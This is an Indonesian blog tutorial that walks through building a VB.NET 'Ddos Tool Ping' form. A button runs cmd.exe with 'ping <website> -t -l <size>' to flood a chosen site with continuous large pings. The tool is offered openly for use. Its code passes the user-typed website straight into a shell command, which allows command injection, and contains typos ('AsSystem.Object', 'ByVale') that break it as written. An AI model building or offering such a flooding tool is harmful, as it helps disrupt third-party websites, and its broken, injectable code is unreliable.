Perhatikan langkah-langkah berikut :
1. Buat lah project baru aturlah form sebagai berikut :
2. Aturlah property sebagai berikut :
Nama Control | Property | Value |
Form1 | Text | Ddos Tool Ping |
Name | Form1 | |
Label1 | Text | Command |
Label2 | Text | Web Site |
Label3 | Text | Don't touach |
Label4 | Text | Select Number |
PictureBox | - | - |
TextBox1 | - | - |
TextBox2 | - | - |
TextBox3 | - | - |
ComboBox1 | Text | 50 |
Items | 50, 100, 200, 300, 400, 500 | |
Button1 | Text | Start Ddos |
Button2 | Text | Clear |
3. Klik 2 kali button start Ddos kemudian masukan kode berikut :
Private Sub Button1_Click(ByVal sender AsSystem.Object, ByVale As System.EventArgs) Handles Button1.Click
Shell("cmd.exe /k" + TextBox1.Text + TextBox2.Text + TextBox3.Text + ComboBox1.Text, AppWinStyle.NormalFocus)
End Sub
4. Klik 2 kali button Clear kemudian masukan kode berikut :
Private Sub Button2_Click(ByVal sender AsSystem.Object, ByVale As System.EventArgs) Handles Button2.Click
TextBox2.Text = ""
ComboBox1.Text = ""
End Sub
5. Klik 2 kali Form 1 kemudian masukan kode berikut :
Private Sub Form1_Load(ByVal sender AsSystem.Object, ByVale As System.EventArgs) Handles MyBase.Load
TextBox1.Text = "ping "
TextBox3.Text = " -t -l "
ComboBox1.Text = "50"
TextBox1.ReadOnly = True
TextBox3.ReadOnly = True
End Sub
6. Jalankan program maka akan tampilan output sebagai berikut :
Link Sumber : http://either-the-devil.blogspot.com/2014/12/cara-membuat-ddos-tool-ping-dengan-vb.html
Tag :
VB.NET
0 Komentar untuk "Cara membuat Ddos Tool Ping dengan VB 2010"